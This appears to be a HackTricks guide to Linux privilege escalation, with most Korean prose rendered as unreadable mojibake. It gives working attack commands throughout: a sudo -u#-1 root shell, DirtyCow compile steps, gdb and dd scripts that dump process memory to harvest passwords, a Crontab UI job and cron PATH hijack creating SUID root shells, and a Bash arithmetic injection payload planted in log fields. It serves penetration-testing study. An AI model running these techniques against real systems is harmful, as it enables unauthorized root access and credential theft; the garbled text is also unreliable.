Linux Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์์คํ ์ ๋ณด
OS ์ ๋ณด
์ด์ ์คํ ์ค์ธ OS์ ๋ํ ์ ๋ณด๋ฅผ ์์งํด๋ณด์.
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
๋ง์ฝ ๋น์ ์ด PATH ๋ณ์ ์์ ์ด๋ค ํด๋์ ๋ํด write permissions๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ์ผ๋ถ libraries๋ binaries๋ฅผ hijackํ ์ ์์ต๋๋ค:
echo $PATH
Env ์ ๋ณด
ํฅ๋ฏธ๋ก์ด ์ ๋ณด๋ passwords ๋๋ API keys๊ฐ environment variables์ ์๋์?
(env || set) 2>/dev/null
Kernel exploits
kernel ๋ฒ์ ์ ํ์ธํ๊ณ , escalate privileges์ ์ฌ์ฉํ ์ ์๋ exploit๊ฐ ์๋์ง ํ์ธํ์ธ์.
cat /proc/version
uname -a
searchsploit "Linux Kernel"
์ข์ ์ทจ์ฝํ kernel ๋ชฉ๋ก๊ณผ ์ผ๋ถ ์ด๋ฏธ compiled exploits๋ฅผ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค: https://github.com/lucyoa/kernel-exploits ๋ฐ exploitdb sploits.\
๋ค์ ์ฌ์ดํธ๋ค์์๋ ์ผ๋ถ compiled exploits๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
ํด๋น ์น์์ ๋ชจ๋ ์ทจ์ฝํ kernel ๋ฒ์ ์ ์ถ์ถํ๋ ค๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
์ปค๋ ์ต์คํ๋ก์์ ๊ฒ์ํ๋ ๋ฐ ๋์์ด ๋ ์ ์๋ ๋๊ตฌ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (victim์์ ์คํ โ kernel 2.x์ฉ exploit๋ง ๊ฒ์ฌ)
ํญ์ Google์์ ์ปค๋ ๋ฒ์ ์ ๊ฒ์ํ์ธ์. ๊ทํ์ ์ปค๋ ๋ฒ์ ์ด ์ด๋ค kernel exploit์ ๋ช ์๋์ด ์์ ์ ์์ผ๋ฉฐ, ๊ทธ๋ฌ๋ฉด ํด๋น exploit์ด ์ ํจํ์ง ํ์ ํ ์ ์์ต๋๋ค.
์ถ๊ฐ์ ์ธ kernel exploitation ๊ธฐ๋ฒ:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo ๋ฒ์
๋ค์์ ๋ํ๋๋ ์ทจ์ฝํ Sudo ๋ฒ์ ์ ๊ธฐ๋ฐ์ผ๋ก:
searchsploit sudo
์ด grep์ ์ฌ์ฉํ์ฌ sudo ๋ฒ์ ์ด ์ทจ์ฝํ์ง ํ์ธํ ์ ์์ต๋๋ค.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Sudo ๋ฒ์ ์ด 1.9.17p1 ์ด์ ์ธ ๊ฒฝ์ฐ (1.9.14 - 1.9.17 < 1.9.17p1), ์ฌ์ฉ์ ์ ์ด ๋๋ ํฐ๋ฆฌ์์ /etc/nsswitch.conf ํ์ผ์ ์ฌ์ฉํ ๋ sudo --chroot ์ต์
์ ํตํด ๋นํน๊ถ ๋ก์ปฌ ์ฌ์ฉ์๊ฐ ๊ถํ์ root๋ก ์์น์ํฌ ์ ์์ต๋๋ค.
Here is a PoC to exploit that vulnerability. Before running the exploit, make sure that your sudo version is vulnerable and that it supports the chroot feature.
For more information, refer to the original vulnerability advisory
sudo < v1.8.28
์ถ์ฒ: @sickrov
sudo -u#-1 /bin/bash
Dmesg ์๋ช ๊ฒ์ฆ ์คํจ
smasher2 box of HTB์์ ์ด vuln์ด ์ด๋ป๊ฒ ์ ์ฉ๋ ์ ์๋์ง์ ๋ํ example์ ํ์ธํ์ธ์.
dmesg 2>/dev/null | grep "signature"
๋ ๋ง์ ์์คํ enumeration
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
๊ฐ๋ฅํ ๋ฐฉ์ด ์๋จ ์ด๊ฑฐ
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
๋ง์ฝ docker container ์์ ์๋ค๋ฉด ๊ทธ๊ณณ์์ ํ์ถ์ ์๋ํ ์ ์์ต๋๋ค:
๋๋ผ์ด๋ธ
๋ฌด์์ด ๋ง์ดํธ๋์ด ์๊ณ ๋ฌด์์ด ์ธ๋ง์ดํธ๋์ด ์๋์ง, ์ด๋์ ์๊ณ ์ ๊ทธ๋ฐ์ง ํ์ธํ์ธ์. ๋ง์ฝ ์ด๋ค ๊ฒ์ด ์ธ๋ง์ดํธ๋์ด ์๋ค๋ฉด ๊ทธ๊ฒ์ ๋ง์ดํธํด์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ํ์ธํด ๋ณผ ์ ์์ต๋๋ค
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
์ ์ฉํ ์ํํธ์จ์ด
์ ์ฉํ ๋ฐ์ด๋๋ฆฌ ๋์ด
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
๋ํ any compiler is installed์ธ์ง ํ์ธํ์ธ์. ์ผ๋ถ kernel exploit์ ์ฌ์ฉํด์ผ ํ ๊ฒฝ์ฐ ์ ์ฉํ๋ฉฐ, ํด๋น exploit์ ์ฌ์ฉํ๋ ค๋ ๋จธ์ (๋๋ ์ ์ฌํ ๋จธ์ )์์ compileํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
์ค์น๋ ์ทจ์ฝ ์ํํธ์จ์ด
์ค์น๋ ํจํค์ง์ ์๋น์ค์ ๋ฒ์ ์ ํ์ธํ์ธ์. ์๋ฅผ ๋ค์ด ์ค๋๋ Nagios ๋ฒ์ ์ด ์์ด ๊ถํ ์์น์ ์
์ฉ๋ ์ ์์ต๋๋คโฆ
๋ ์์ฌ์ค๋ฌ์ด ์ค์น๋ ์ํํธ์จ์ด์ ๋ฒ์ ์ ์๋์ผ๋ก ํ์ธํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
dpkg -l #Debian
rpm -qa #Centos
If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.
[!NOTE] > ์ด ๋ช ๋ น์ด๋ค์ ๋๋ถ๋ถ ์ธ๋ชจ์๋ ๋ง์ ์ ๋ณด๋ฅผ ์ถ๋ ฅํ๋ฏ๋ก, ์ค์น๋ ์ํํธ์จ์ด ๋ฒ์ ์ด ์๋ ค์ง ์ต์คํ๋ก์์ ์ทจ์ฝํ์ง ๊ฒ์ฌํด์ฃผ๋ OpenVAS ๊ฐ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค
ํ๋ก์ธ์ค
์ด๋ค ํ๋ก์ธ์ค๋ค์ด ์คํ๋๊ณ ์๋์ง ์ดํด๋ณด๊ณ , ์ด๋ค ํ๋ก์ธ์ค๊ฐ ์ ์์ ์ผ๋ก ๊ฐ์ ธ์ผ ํ ๊ฒ๋ณด๋ค ๋ ๋ง์ ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํ์ธ์ (์: tomcat์ด root๋ก ์คํ๋๋ ๊ฒฝ์ฐ?)
ps aux
ps -ef
top -n 1
ํญ์ electron/cef/chromium debuggers running, you could abuse it to escalate privileges์ ํ์ธํ์ธ์. Linpeas๋ ํ๋ก์ธ์ค ๋ช
๋ นํ์์ --inspect ํ๋ผ๋ฏธํฐ๋ฅผ ํ์ธํ์ฌ ์ด๋ฅผ ํ์งํฉ๋๋ค.
๋ํ ํ๋ก์ธ์ค binaries์ ๋ํ ๊ถํ์ ํ์ธํ์ธ์, ์ด์ฉ๋ฉด ๋๊ตฐ๊ฐ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ธ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค.
ํ๋ก์ธ์ค ๋ชจ๋ํฐ๋ง
pspy์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ํ๋ก์ธ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ ์ ์์ต๋๋ค. ์ด๋ ์ทจ์ฝํ ํ๋ก์ธ์ค๊ฐ ์์ฃผ ์คํ๋๊ฑฐ๋ ํน์ ์๊ตฌ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋ ๋ ์ด๋ฅผ ์๋ณํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํ ์ ์์ต๋๋ค.
ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ
์๋ฒ์ ์ผ๋ถ ์๋น์ค๋ ๋ฉ๋ชจ๋ฆฌ ๋ด๋ถ์ ํ๋ฌธ ํํ๋ก credentials๋ฅผ ์ ์ฅํฉ๋๋ค.
๋ณดํต ๋ค๋ฅธ ์ฌ์ฉ์์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฝ์ผ๋ ค๋ฉด root privileges๊ฐ ํ์ํ๋ฏ๋ก, ์ด๋ ์ด๋ฏธ root์ธ ์ํ์์ ์ถ๊ฐ์ ์ธ credentials๋ฅผ ์ฐพ์ ๋ ๋ ์ ์ฉํฉ๋๋ค.
ํ์ง๋ง ์ผ๋ฐ ์ฌ์ฉ์๋ก์ ์์ ์ด ์์ ํ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ๋ ์ฝ์ ์ ์๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์.
Warning
ํ์ฌ ๋๋ถ๋ถ์ ๋จธ์ ์ ๊ธฐ๋ณธ์ ์ผ๋ก ptrace๋ฅผ ํ์ฉํ์ง ์์ต๋๋ค, ์ฆ ๊ถํ์ด ์๋ ์ฌ์ฉ์๊ฐ ์์ ํ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ๋คํํ ์ ์์ต๋๋ค.
ํ์ผ /proc/sys/kernel/yama/ptrace_scope ๋ ptrace ์ ๊ทผ์ฑ์ ์ ์ดํฉ๋๋ค:
- kernel.yama.ptrace_scope = 0: ๊ฐ์ uid๋ฅผ ๊ฐ์ง ๊ฒฝ์ฐ ๋ชจ๋ ํ๋ก์ธ์ค๋ฅผ ๋๋ฒ๊น ํ ์ ์์ต๋๋ค. ์ด๊ฒ์ด ์ ํต์ ์ธ ptracing ๋์ ๋ฐฉ์์ ๋๋ค.
- kernel.yama.ptrace_scope = 1: ๋ถ๋ชจ ํ๋ก์ธ์ค๋ง ๋๋ฒ๊น ํ ์ ์์ต๋๋ค.
- kernel.yama.ptrace_scope = 2: ๊ด๋ฆฌ์๋ง ptrace๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค(์ด๋ฅผ ์ํด์๋ CAP_SYS_PTRACE ๊ถํ์ด ํ์ํฉ๋๋ค).
- kernel.yama.ptrace_scope = 3: ptrace๋ก ์ด๋ค ํ๋ก์ธ์ค๋ ์ถ์ ํ ์ ์์ต๋๋ค. ์ผ๋จ ์ค์ ๋๋ฉด ptracing์ ๋ค์ ํ์ฑํํ๋ ค๋ฉด ์ฌ๋ถํ ์ด ํ์ํฉ๋๋ค.
GDB
์๋ฅผ ๋ค์ด FTP ์๋น์ค์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ ์ ์๋ค๋ฉด ํ(Heap)์ ์ป์ด ๊ทธ ์์ credentials๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB Script
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
์ฃผ์ด์ง ํ๋ก์ธ์ค ID์ ๋ํด, maps๊ฐ ํด๋น ํ๋ก์ธ์ค์ ๊ฐ์ ์ฃผ์ ๊ณต๊ฐ ๋ด์์ ๋ฉ๋ชจ๋ฆฌ๊ฐ ์ด๋ป๊ฒ ๋งคํ๋์ด ์๋์ง๋ฅผ ๋ณด์ฌ์ฃผ๋ฉฐ; ๋ํ ๊ฐ ๋งคํ๋ ์์ญ์ ๊ถํ์ ํ์ํฉ๋๋ค. ํด๋น mem ๊ฐ์ ํ์ผ์ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ์์ฒด๋ฅผ ๋ ธ์ถํฉ๋๋ค. maps ํ์ผ์์ ์ฐ๋ฆฌ๋ ์ด๋ค ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ฝ์ ์ ์๋์ง์ ๊ทธ ์คํ์ ์ ์ ์ ์์ต๋๋ค. ์ด ์ ๋ณด๋ฅผ ์ฌ์ฉํด mem ํ์ผ์์ seekํ์ฌ ๋ชจ๋ ์ฝ์ ์ ์๋ ์์ญ์ ๋คํํ๊ณ ์ด๋ฅผ ํ์ผ๋ก ์ ์ฅํฉ๋๋ค.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem๋ ์์คํ
์ ๋ฌผ๋ฆฌ์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ๋ ์๋๋๋ค. ์ปค๋์ ๊ฐ์ ์ฃผ์ ๊ณต๊ฐ์ /dev/kmem์ ์ฌ์ฉํด ์ ๊ทผํ ์ ์์ต๋๋ค.
์ผ๋ฐ์ ์ผ๋ก, /dev/mem์ root์ kmem ๊ทธ๋ฃน๋ง ์ฝ์ ์ ์์ต๋๋ค.
strings /dev/mem -n10 | grep -i PASS
ProcDump for linux
ProcDump๋ Windows์ฉ Sysinternals ๋๊ตฌ ๋ชจ์์ ์๋ ๊ณ ์ ์ ์ธ ProcDump ๋๊ตฌ๋ฅผ Linux์ฉ์ผ๋ก ์ฌ๊ตฌ์ฑํ ๊ฒ์ ๋๋ค. Get it in https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
๋๊ตฌ
ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _root ๊ถํ ์๊ตฌ๋ฅผ ์๋์ผ๋ก ์ ๊ฑฐํ๊ณ ์์ ์ด ์์ ํ ํ๋ก์ธ์ค๋ฅผ ๋คํํ ์ ์์ต๋๋ค
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root ๊ถํ์ด ํ์ํจ)
ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช
์๋ ์์
authenticator ํ๋ก์ธ์ค๊ฐ ์คํ ์ค์ธ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํ ์ ์์ผ๋ฉฐ(๋ฉ๋ชจ๋ฆฌ ๋คํ ๋ฐฉ๋ฒ์ ์ด์ ์น์ ์ฐธ์กฐ) ๋ฉ๋ชจ๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช ์ ๊ฒ์ํ ์ ์์ต๋๋ค:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
๋๊ตฌ https://github.com/huntergregal/mimipenguin๋ ๋ฉ๋ชจ๋ฆฌ์์ steal clear text credentials from memoryํ๊ณ ์ผ๋ถ well known files์์๋ ์ด๋ฅผ ํ์นฉ๋๋ค. ์ ๋๋ก ์๋ํ๋ ค๋ฉด root privileges๊ฐ ํ์ํฉ๋๋ค.
| ๊ธฐ๋ฅ | ํ๋ก์ธ์ค ์ด๋ฆ |
|---|---|
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Search Regexes/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
์์ฝ๋/Cron ์์
Crontab UI (alseambusher)๊ฐ root๋ก ์คํ ์ค์ธ ๊ฒฝ์ฐ โ ์น ๊ธฐ๋ฐ ์ค์ผ์ค๋ฌ privesc
์น โCrontab UIโ ํจ๋ (alseambusher/crontab-ui)์ด root๋ก ์คํ๋๊ณ loopback์๋ง ๋ฐ์ธ๋ฉ๋์ด ์๋๋ผ๋, SSH local port-forwarding์ ํตํด ์ ๊ทผํ์ฌ ๊ถํ์ด ์๋ ์์ ์ ์์ฑํด ๊ถํ ์์นํ ์ ์๋ค.
์ผ๋ฐ์ ์ธ ํ๋ฆ
ss -ntlp/curl -v localhost:8000๋ก loopback ์ ์ฉ ํฌํธ(์: 127.0.0.1:8000)์ Basic-Auth realm์ ์ฐพ์- ์ด์ ์ํฐํฉํธ์์ ์๊ฒฉ์ฆ๋ช
์ฐพ๊ธฐ:
zip -P <password>๋ก ๋น๋ฐ๋ฒํธ๊ฐ ์ค์ ๋ ๋ฐฑ์ /์คํฌ๋ฆฝํธ- systemd unit์์
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..."๊ฐ ๋ ธ์ถ๋จ
- ํฐ๋๋ง ๋ฐ ๋ก๊ทธ์ธ:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- ๋์ ๊ถํ์ job์ ์์ฑํ๊ณ ์ฆ์ ์คํ (SUID shell์ ์์ฑํจ):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- ์ฌ์ฉํ์ธ์:
/tmp/rootshell -p # root shell
๋ณด์ ๊ฐํ
- Crontab UI๋ฅผ root๋ก ์คํํ์ง ๋ง์ธ์; ์ ์ฉ ์ฌ์ฉ์์ ์ต์ ๊ถํ์ผ๋ก ์ ํํ์ธ์
- localhost์ ๋ฐ์ธ๋ฉํ๊ณ ์ถ๊ฐ๋ก firewall/VPN์ผ๋ก ์ ๊ทผ์ ์ ํํ์ธ์; ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฌ์ฉํ์ง ๋ง์ธ์
- unit files์ secrets๋ฅผ ํฌํจํ์ง ๋ง์ธ์; secret stores ๋๋ root ์ ์ฉ EnvironmentFile์ ์ฌ์ฉํ์ธ์
- on-demand job ์คํ์ ๋ํด audit/logging์ ํ์ฑํํ์ธ์
์์ฝ๋ ์์ ์ค ์ทจ์ฝํ ๊ฒ์ด ์๋์ง ํ์ธํ์ธ์. root๋ก ์คํ๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ฉํ ์ ์์์ง๋ ๋ชจ๋ฆ ๋๋ค (wildcard vuln? root๊ฐ ์ฌ์ฉํ๋ ํ์ผ์ ์์ ํ ์ ์๋๊ฐ? symlinks๋ฅผ ์ฌ์ฉ? root๊ฐ ์ฌ์ฉํ๋ ๋๋ ํ ๋ฆฌ์ ํน์ ํ์ผ์ ์์ฑ?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
์๋ฅผ ๋ค์ด, /etc/crontab ์์์ ๋ค์ PATH๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(user๋ผ๋ ์ฌ์ฉ์๊ฐ /home/user์ ๋ํด ์ฐ๊ธฐ ๊ถํ์ด ์์์ ์ฃผ๋ชฉํ์ธ์)
์ด crontab์์ root ์ฌ์ฉ์๊ฐ PATH๋ฅผ ์ค์ ํ์ง ์์ ์ฑ๋ก ์ด๋ค ๋ช
๋ น์ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ค๊ณ ํ๋ค๋ฉด. ์๋ฅผ ๋ค์ด: * * * * root overwrite.sh\
๊ทธ๋ฌ๋ฉด, ๋ค์์ ์ฌ์ฉํ์ฌ root ์์ ์ป์ ์ ์์ต๋๋ค:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron์ด script์ wildcard๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ (Wildcard Injection)
๋ง์ฝ script๊ฐ root์ ์ํด ์คํ๋๊ณ ๋ช ๋ น์ด ์์ โ*โ๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด, ์ด๋ฅผ ์ ์ฉํ์ฌ ์๊ธฐ์น ์์ ๋์(์: privesc)์ ์ผ์ผํฌ ์ ์์ต๋๋ค. ์:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
์์ผ๋์นด๋๊ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ๋ก ์์ ์ฌ ๊ฒฝ์ฐ /some/path/* , ์ทจ์ฝํ์ง ์์ต๋๋ค (์ฌ์ง์ด ./* ๋ ์๋๋๋ค).
๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด ์์ผ๋์นด๋ ์ ์ฉ ํธ๋ฆญ์ ๋ ํ์ธํ์ธ์:
Bash arithmetic expansion injection in cron log parsers
Bash๋ ((โฆ)), $((โฆ)) ๋ฐ let์ ์ฐ์ ํ๊ฐ ์ ์ parameter/variable expansion๊ณผ command substitution์ ์ํํฉ๋๋ค. ๋ง์ฝ root cron/ํ์๊ฐ ์ ๋ขฐํ ์ ์๋ ๋ก๊ทธ ํ๋๋ฅผ ์ฝ์ด ์ด๋ฅผ ์ฐ์ ์ปจํ ์คํธ์ ๋ฃ๋๋ค๋ฉด, ๊ณต๊ฒฉ์๋ cron์ด ์คํ๋ ๋ root๋ก ์คํ๋๋ command substitution $(โฆ)์ ์ฃผ์ ํ ์ ์์ต๋๋ค.
-
Why it works: Bash์์๋ ํ์ฅ์ด ๋ค์ ์์๋ก ๋ฐ์ํฉ๋๋ค: parameter/variable expansion, command substitution, arithmetic expansion, ๊ทธ ๋ค์ word splitting๊ณผ pathname expansion. ๋ฐ๋ผ์
$(/bin/bash -c 'id > /tmp/pwn')0๊ฐ์ ๊ฐ์ ๋จผ์ ์นํ๋์ด(๋ช ๋ น์ด ์คํ๋จ), ๋จ์ ์ซ์0์ด ์ฐ์ ์ ์ฌ์ฉ๋์ด ์คํฌ๋ฆฝํธ๊ฐ ์ค๋ฅ ์์ด ๊ณ์๋ฉ๋๋ค. -
Typical vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploitation: ํ์ฑ๋๋ ๋ก๊ทธ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ ์คํธ๊ฐ ๊ธฐ๋ก๋๋๋ก ํ์ฌ ์ซ์์ฒ๋ผ ๋ณด์ด๋ ํ๋์ command substitution์ด ํฌํจ๋๊ณ ๋ง์ง๋ง์ด ์ซ์์ฌ์ผ ํฉ๋๋ค. ๋ช ๋ น์ด stdout์ผ๋ก ์ถ๋ ฅํ์ง ์๋๋ก(๋๋ ๋ฆฌ๋ค์ด๋ ํธ) ํ์ฌ ์ฐ์ ์ด ์ ํจํ๋๋ก ํ์ธ์.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
If you can modify a cron script executed by root, you can get a shell very easily:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
